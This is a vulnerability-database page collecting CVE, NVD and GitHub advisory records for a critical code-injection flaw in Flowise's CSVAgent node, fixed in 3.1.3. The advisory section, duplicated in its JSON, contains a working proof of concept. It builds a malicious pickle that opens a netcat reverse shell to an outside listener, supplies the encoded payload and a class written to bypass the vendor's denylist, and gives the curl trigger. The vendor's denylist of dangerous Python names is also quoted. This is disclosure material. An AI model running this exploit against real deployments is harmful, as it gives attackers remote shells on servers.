Vulnerability-Lookup

CVE-2026-69256 (GCVE-0-2026-69256)

Vulnerability from cvelistv5 – Published: 2026-08-04 15:45 – Updated: 2026-08-05 13:41

Title

Flowise: Remote Code Execution Vulnerability in CSVAgent

Summary

Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, the CSVAgent node allowed users to provide Python code that is executed through pyodide; although a denylist blocked dangerous Python constructs, pandas.read_pickle() could deserialize a pickled payload and achieve code execution without matching the denied words. The affected file is flowise-components/nodes/agents/CSVAgent/CSVAgent.ts, where user-supplied customReadCSVFunc is evaluated as pd.${customReadCSVFunc}. An authenticated user who can create or modify a chatflow can add a CSV Agent, place a malicious read_pickle payload in the Additional Parameters, save the chatflow, and trigger /api/v1/prediction/<UUID> to execute commands. This issue is fixed in version 3.1.3.

Severity

9.4 (Critical)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-05 13:40 UTC

CWE

CWE-94 - Improper Control of Generation of Code ('Code Injection')

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7868 records in the last 180 days details

References

4 references

URL	Tags
https://github.com/FlowiseAI/Flowise/security/adv…	x_refsource_CONFIRM
https://github.com/FlowiseAI/Flowise/pull/6257	x_refsource_MISC
https://github.com/FlowiseAI/Flowise/commit/c79fe…	x_refsource_MISC
https://github.com/FlowiseAI/Flowise/releases/tag…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
FlowiseAI	Flowise	Affected: < 3.1.3	guessed

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-69256

Vulnerability from fkie_nvd - Published: 2026-08-04 17:17 - Updated: 2026-10-24 16:10

Severity

8.8 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/FlowiseAI/Flowise/commit/c79fe56a6c249850e96bce9b4859f7a0083e4507	Patch
security-advisories@github.com	https://github.com/FlowiseAI/Flowise/pull/6257	Issue Tracking, Patch
security-advisories@github.com	https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3	Patch, Release Notes
security-advisories@github.com	https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-x6vm-w76m-8j7g	Exploit, Vendor Advisory
134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-x6vm-w76m-8j7g	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	flowiseai	flowise	*

JSON

To clipboard

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    {
      "lang": "en",
      "value": "Flowise is a drag \u0026 drop user interface to build a customized large language model flow. Prior to 3.1.3, the CSVAgent node allowed users to provide Python code that is executed through pyodide; although a denylist blocked dangerous Python constructs, pandas.read_pickle() could deserialize a pickled payload and achieve code execution without matching the denied words. The affected file is flowise-components/nodes/agents/CSVAgent/CSVAgent.ts, where user-supplied customReadCSVFunc is evaluated as pd.${customReadCSVFunc}. An authenticated user who can create or modify a chatflow can add a CSV Agent, place a malicious read_pickle payload in the Additional Parameters, save the chatflow, and trigger /api/v1/prediction/\u003cUUID\u003e to execute commands. This issue is fixed in version 3.1.3."
    },
    {
      "lang": "es",
      "value": "Flowise es una interfaz de usuario de arrastrar y soltar para construir un flujo de modelo de lenguaje grande personalizado. Antes de la versi\u00f3n 3.1.3, el nodo CSVAgent permit\u00eda a los usuarios proporcionar c\u00f3digo Python que se ejecuta a trav\u00e9s de pyodide; aunque una lista de denegaci\u00f3n bloqueaba construcciones peligrosas de Python, pandas.read_pickle() pod\u00eda deserializar una carga \u00fatil \u2019pickled\u2019 y lograr la ejecuci\u00f3n de c\u00f3digo sin coincidir con las palabras denegadas. El archivo afectado es flowise-components/nodes/agents/CSVAgent/CSVAgent.ts, donde la funci\u00f3n customReadCSVFunc proporcionada por el usuario se eval\u00faa como pd.${customReadCSVFunc}. Un usuario autenticado que puede crear o modificar un \u2019chatflow\u2019 puede a\u00f1adir un Agente CSV, colocar una carga \u00fatil maliciosa de \u2019read_pickle\u2019 en los Par\u00e1metros Adicionales, guardar el \u2019chatflow\u2019 y activar /API/v1/prediction/[UUID] para ejecutar comandos. Este problema est\u00e1 solucionado en la versi\u00f3n 3.1.3."
    }
  ],
  "id": "CVE-2026-69256",
  "lastModified": "2026-10-24T16:10:00.153",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 8.8,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.9,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ],
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 9.4,
          "baseSeverity": "CRITICAL",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "LOW",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "HIGH",
          "subConfidentialityImpact": "HIGH",
          "subIntegrityImpact": "HIGH",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "HIGH",
          "vulnConfidentialityImpact": "HIGH",
          "vulnIntegrityImpact": "HIGH",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-69256",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-08-05T13:40:25.220119Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-08-04T17:17:00.707",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/FlowiseAI/Flowise/commit/c79fe56a6c249850e96bce9b4859f7a0083e4507"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Issue Tracking",
        "Patch"
      ],
      "url": "https://github.com/FlowiseAI/Flowise/pull/6257"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch",
        "Release Notes"
      ],
      "url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-x6vm-w76m-8j7g"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-x6vm-w76m-8j7g"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-94"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-X6VM-W76M-8J7G

Vulnerability from github – Published: 2026-08-04 15:46 – Updated: 2026-08-04 17:47

Summary

Flowise: Remote Code Execution Vulnerability in CSVAgent

Details

Summary

The CSVAgent node was observed to allow users to write Python code which gets executed via pyodide. The original intent was to allow users to utilise the pandas library for CSV processing. Although there is a denylist that checks for dangerous Python constructs from being passed in, pandas has a read_pickle() function that deserialises a pickled payload and this can be leveraged to achieve code execution.

Details

The affected file is the CSVAgent node, found in: flowise-components/nodes/agents/CSVAgent/CSVAgent.ts.

try {
    const code = `import pandas as pd
import base64
from io import StringIO
import json

base64_string = "${base64String}"

decoded_data = base64.b64decode(base64_string)

csv_data = StringIO(decoded_data.decode('utf-8'))

df = pd.${customReadCSVFunc} <1>
my_dict = df.dtypes.astype(str).to_dict()
print(my_dict)
json.dumps(my_dict)`
    dataframeColDict = await pyodide.runPythonAsync(code)
} catch (error) {
    throw new Error(error)
}

At <1>, the customReadCSVFunc is supplied by the user. This input goes through input validation that denies dangerous Python constructs from being passed in:

const FORBIDDEN_PATTERNS: Array<{ pattern: RegExp; reason: string }> = [
    // Imports (the executor pre-imports pandas and numpy; LLM code must not add any imports)
    { pattern: /\bfrom\s+\S+\s+import\b/g, reason: 'import statement (from...import)' },
    { pattern: /\bimport\b/g, reason: 'import statement (all imports forbidden; pandas and numpy are pre-imported by the executor)' },
    // Dangerous builtins
    { pattern: /\beval\s*\(/g, reason: 'eval()' },
    { pattern: /\bexec\s*\(/g, reason: 'exec()' },
    { pattern: /\bcompile\s*\(/g, reason: 'compile()' },
    { pattern: /\b__import__\s*\(/g, reason: '__import__()' },
    { pattern: /\bopen\s*\(/g, reason: 'open()' },
    { pattern: /\bbreakpoint\s*\(/g, reason: 'breakpoint()' },
    { pattern: /\binput\s*\(/g, reason: 'input()' },
    { pattern: /\braw_input\s*\(/g, reason: 'raw_input()' },
    { pattern: /\bglobals\s*\(/g, reason: 'globals()' },
    { pattern: /\blocals\s*\(/g, reason: 'locals()' },
    { pattern: /\bgetattr\s*\(/g, reason: 'getattr()' },
    { pattern: /\bsetattr\s*\(/g, reason: 'setattr()' },
    { pattern: /\bdelattr\s*\(/g, reason: 'delattr()' },
    { pattern: /\breload\s*\(/g, reason: 'reload()' },
    { pattern: /\bfile\s*\(/g, reason: 'file()' },
    { pattern: /\bexecfile\s*\(/g, reason: 'execfile()' },
    // Dangerous modules / attributes
    { pattern: /\bos\./g, reason: 'os module' },
    { pattern: /\bsubprocess\./g, reason: 'subprocess module' },
    { pattern: /\bsys\./g, reason: 'sys module' },
    { pattern: /\bsocket\./g, reason: 'socket module' },
    { pattern: /\burllib\./g, reason: 'urllib module' },
    { pattern: /\brequests\./g, reason: 'requests module' },
    { pattern: /\b__builtins__\b/g, reason: '__builtins__' },
    { pattern: /\b__loader__\b/g, reason: '__loader__' },
    { pattern: /\b__spec__\b/g, reason: '__spec__' },
    { pattern: /\b__class__\b/g, reason: '__class__ (reflection)' },
    { pattern: /\b__subclasses__\s*\(/g, reason: '__subclasses__()' },
    { pattern: /\b__bases__\b/g, reason: '__bases__' },
    { pattern: /\b__mro__\b/g, reason: '__mro__' },
    { pattern: /\b__globals__\b/g, reason: '__globals__' },
    { pattern: /\b__code__\b/g, reason: '__code__' },
    { pattern: /\b__closure__\b/g, reason: '__closure__' },
    { pattern: /\bvars\s*\(/g, reason: 'vars()' },
    { pattern: /\bdir\s*\(/g, reason: 'dir()' },
    { pattern: /\b__dict__\b/g, reason: '__dict__ (attribute reflection)' },
    { pattern: /\b__module__\b/g, reason: '__module__ (module reflection)' }
]

However, by using pandas.read_pickle(), an attacker can achieve code execution without hitting any of the denied words.

PoC

First, generate a pickled payload that performs an OS command (replace the IP and port with your listening IP and port):

import pickle
import base64
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ("/usr/bin/nc 172.17.0.1 13337 -e /bin/sh",))

payload = pickle.dumps(Exploit())
encoded = base64.b64encode(payload).decode()
print(encoded)

Run it and note the encoded payload to be used later:

$ python3 pickle-payload-poc.py

gASVQgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjCcvdXNyL2Jpbi9uYyAxNzIuMTcuMC4xIDEzMzM3IC1lIC9iaW4vc2iUhZRSlC4=

In the Flowise dashboard, navigate to Chatflows and create or modify an existing Chatflow.
Drag a "CSV Agent" node onto the canvas.
Click on "Additional Parameters" and fill in the following PoC:

isnull("")
class MiniBytesIO:
    def __init__(self, b):
        self.data = b
        self.pos = 0
    def read(self, n=-1):
        if n == -1:
            n = len(self.data) - self.pos
        chunk = self.data[self.pos:self.pos+n]
        self.pos += n
        return chunk
    def readline(self, n=-1):
        if self.pos >= len(self.data):
            return b""
        next_nl = self.data.find(b"\\n", self.pos)
        if next_nl == -1:
            next_nl = len(self.data)
        if n != -1:
            next_nl = min(self.pos + n, next_nl)
        line = self.data[self.pos:next_nl+1]
        self.pos = next_nl + 1
        return line
pd.read_pickle(MiniBytesIO(base64.b64decode("gASVQgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjCcvdXNyL2Jpbi9uYyAxNzIuMTcuMC4xIDEzMzM3IC1lIC9iaW4vc2iUhZRSlC4=")))

The custom MiniBytesIO class needs to be included in order to deserialise the pickled payload, since read_pickle() expects a "str, path object, or file-like object". This is because we cannot use import to import BytesIO, nor open() to write to disk and read, and entering a URL does not work due to pyodide not having raw socket capabilities.

Save the chatflow, and obtain the UUID of this chatflow from the URL /canvas/<UUID>.

Open a listening shell on your specified port from your listening host, and send a POST request to the chatflow to trigger it and achieve code execution:

$ curl -X POST http://<TARGET>/api/v1/prediction/<UUID>

Severity

9.4 (Critical)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Show details on source website

JSON

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise-components"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-69256"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-04T15:46:20Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nThe CSVAgent node was observed to allow users to write Python code which gets executed via `pyodide`. The original intent was to allow users to utilise the `pandas` library for CSV processing. Although there is a denylist that checks for dangerous Python constructs from being passed in, `pandas` has a `read_pickle()` [function](https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html) that deserialises a pickled payload and this can be leveraged to achieve code execution.\n\n### Details\n\nThe affected file is the `CSVAgent` node, found in: `flowise-components/nodes/agents/CSVAgent/CSVAgent.ts`.\n\n```js\ntry {\n    const code = `import pandas as pd\nimport base64\nfrom io import StringIO\nimport json\n\nbase64_string = \"${base64String}\"\n\ndecoded_data = base64.b64decode(base64_string)\n\ncsv_data = StringIO(decoded_data.decode(\u0027utf-8\u0027))\n\ndf = pd.${customReadCSVFunc} \u003c1\u003e\nmy_dict = df.dtypes.astype(str).to_dict()\nprint(my_dict)\njson.dumps(my_dict)`\n    dataframeColDict = await pyodide.runPythonAsync(code)\n} catch (error) {\n    throw new Error(error)\n}\n```\n\nAt \u003c1\u003e, the `customReadCSVFunc` is supplied by the user. This input goes through input validation that denies dangerous Python constructs from being passed in:\n\n```py\nconst FORBIDDEN_PATTERNS: Array\u003c{ pattern: RegExp; reason: string }\u003e = [\n    // Imports (the executor pre-imports pandas and numpy; LLM code must not add any imports)\n    { pattern: /\\bfrom\\s+\\S+\\s+import\\b/g, reason: \u0027import statement (from...import)\u0027 },\n    { pattern: /\\bimport\\b/g, reason: \u0027import statement (all imports forbidden; pandas and numpy are pre-imported by the executor)\u0027 },\n    // Dangerous builtins\n    { pattern: /\\beval\\s*\\(/g, reason: \u0027eval()\u0027 },\n    { pattern: /\\bexec\\s*\\(/g, reason: \u0027exec()\u0027 },\n    { pattern: /\\bcompile\\s*\\(/g, reason: \u0027compile()\u0027 },\n    { pattern: /\\b__import__\\s*\\(/g, reason: \u0027__import__()\u0027 },\n    { pattern: /\\bopen\\s*\\(/g, reason: \u0027open()\u0027 },\n    { pattern: /\\bbreakpoint\\s*\\(/g, reason: \u0027breakpoint()\u0027 },\n    { pattern: /\\binput\\s*\\(/g, reason: \u0027input()\u0027 },\n    { pattern: /\\braw_input\\s*\\(/g, reason: \u0027raw_input()\u0027 },\n    { pattern: /\\bglobals\\s*\\(/g, reason: \u0027globals()\u0027 },\n    { pattern: /\\blocals\\s*\\(/g, reason: \u0027locals()\u0027 },\n    { pattern: /\\bgetattr\\s*\\(/g, reason: \u0027getattr()\u0027 },\n    { pattern: /\\bsetattr\\s*\\(/g, reason: \u0027setattr()\u0027 },\n    { pattern: /\\bdelattr\\s*\\(/g, reason: \u0027delattr()\u0027 },\n    { pattern: /\\breload\\s*\\(/g, reason: \u0027reload()\u0027 },\n    { pattern: /\\bfile\\s*\\(/g, reason: \u0027file()\u0027 },\n    { pattern: /\\bexecfile\\s*\\(/g, reason: \u0027execfile()\u0027 },\n    // Dangerous modules / attributes\n    { pattern: /\\bos\\./g, reason: \u0027os module\u0027 },\n    { pattern: /\\bsubprocess\\./g, reason: \u0027subprocess module\u0027 },\n    { pattern: /\\bsys\\./g, reason: \u0027sys module\u0027 },\n    { pattern: /\\bsocket\\./g, reason: \u0027socket module\u0027 },\n    { pattern: /\\burllib\\./g, reason: \u0027urllib module\u0027 },\n    { pattern: /\\brequests\\./g, reason: \u0027requests module\u0027 },\n    { pattern: /\\b__builtins__\\b/g, reason: \u0027__builtins__\u0027 },\n    { pattern: /\\b__loader__\\b/g, reason: \u0027__loader__\u0027 },\n    { pattern: /\\b__spec__\\b/g, reason: \u0027__spec__\u0027 },\n    { pattern: /\\b__class__\\b/g, reason: \u0027__class__ (reflection)\u0027 },\n    { pattern: /\\b__subclasses__\\s*\\(/g, reason: \u0027__subclasses__()\u0027 },\n    { pattern: /\\b__bases__\\b/g, reason: \u0027__bases__\u0027 },\n    { pattern: /\\b__mro__\\b/g, reason: \u0027__mro__\u0027 },\n    { pattern: /\\b__globals__\\b/g, reason: \u0027__globals__\u0027 },\n    { pattern: /\\b__code__\\b/g, reason: \u0027__code__\u0027 },\n    { pattern: /\\b__closure__\\b/g, reason: \u0027__closure__\u0027 },\n    { pattern: /\\bvars\\s*\\(/g, reason: \u0027vars()\u0027 },\n    { pattern: /\\bdir\\s*\\(/g, reason: \u0027dir()\u0027 },\n    { pattern: /\\b__dict__\\b/g, reason: \u0027__dict__ (attribute reflection)\u0027 },\n    { pattern: /\\b__module__\\b/g, reason: \u0027__module__ (module reflection)\u0027 }\n]\n```\n\nHowever, by using `pandas.read_pickle()`, an attacker can achieve code execution without hitting any of the denied words.\n\n### PoC\n\nFirst, generate a pickled payload that performs an OS command (replace the IP and port with your listening IP and port):\n\n```py\nimport pickle\nimport base64\nimport os\n\nclass Exploit:\n    def __reduce__(self):\n        return (os.system, (\"/usr/bin/nc 172.17.0.1 13337 -e /bin/sh\",))\n\npayload = pickle.dumps(Exploit())\nencoded = base64.b64encode(payload).decode()\nprint(encoded)\n```\n\nRun it and note the encoded payload to be used later:\n\n```bash\n$ python3 pickle-payload-poc.py\n\ngASVQgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjCcvdXNyL2Jpbi9uYyAxNzIuMTcuMC4xIDEzMzM3IC1lIC9iaW4vc2iUhZRSlC4=\n```\n\n1. In the Flowise dashboard, navigate to Chatflows and create or modify an existing Chatflow.\n2. Drag a \"CSV Agent\" node onto the canvas.\n3. Click on \"Additional Parameters\" and fill in the following PoC:\n\n```py\nisnull(\"\")\nclass MiniBytesIO:\n    def __init__(self, b):\n        self.data = b\n        self.pos = 0\n    def read(self, n=-1):\n        if n == -1:\n            n = len(self.data) - self.pos\n        chunk = self.data[self.pos:self.pos+n]\n        self.pos += n\n        return chunk\n    def readline(self, n=-1):\n        if self.pos \u003e= len(self.data):\n            return b\"\"\n        next_nl = self.data.find(b\"\\\\n\", self.pos)\n        if next_nl == -1:\n            next_nl = len(self.data)\n        if n != -1:\n            next_nl = min(self.pos + n, next_nl)\n        line = self.data[self.pos:next_nl+1]\n        self.pos = next_nl + 1\n        return line\npd.read_pickle(MiniBytesIO(base64.b64decode(\"gASVQgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjCcvdXNyL2Jpbi9uYyAxNzIuMTcuMC4xIDEzMzM3IC1lIC9iaW4vc2iUhZRSlC4=\")))\n```\n\nThe custom `MiniBytesIO` class  needs to be included in order to deserialise the pickled payload, since `read_pickle()` expects a \"str, path object, or file-like object\". This is because we cannot use `import` to import `BytesIO`, nor `open()` to write to disk and read, and entering a URL does not work due to `pyodide` not having raw socket capabilities.\n\nSave the chatflow, and obtain the UUID of this chatflow from the URL `/canvas/\u003cUUID\u003e`.\n\nOpen a listening shell on your specified port from your listening host, and send a POST request to the chatflow to trigger it and achieve code execution:\n\n```\n$ curl -X POST http://\u003cTARGET\u003e/api/v1/prediction/\u003cUUID\u003e\n```",
  "id": "GHSA-x6vm-w76m-8j7g",
  "modified": "2026-08-04T17:47:31Z",
  "published": "2026-08-04T15:46:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-x6vm-w76m-8j7g"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/pull/6257"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/commit/c79fe56a6c249850e96bce9b4859f7a0083e4507"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FlowiseAI/Flowise"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Flowise: Remote Code Execution Vulnerability in CSVAgent"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

Order JSON

How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Publication & reservation Sightings KEV catalogs Other timestamps

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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-69256 (GCVE-0-2026-69256)

FKIE_CVE-2026-69256

GHSA-X6VM-W76M-8J7G

Summary

Details

PoC

Tags

Sightings

Nomenclature

Vulnerability timeline

Related by attack behaviour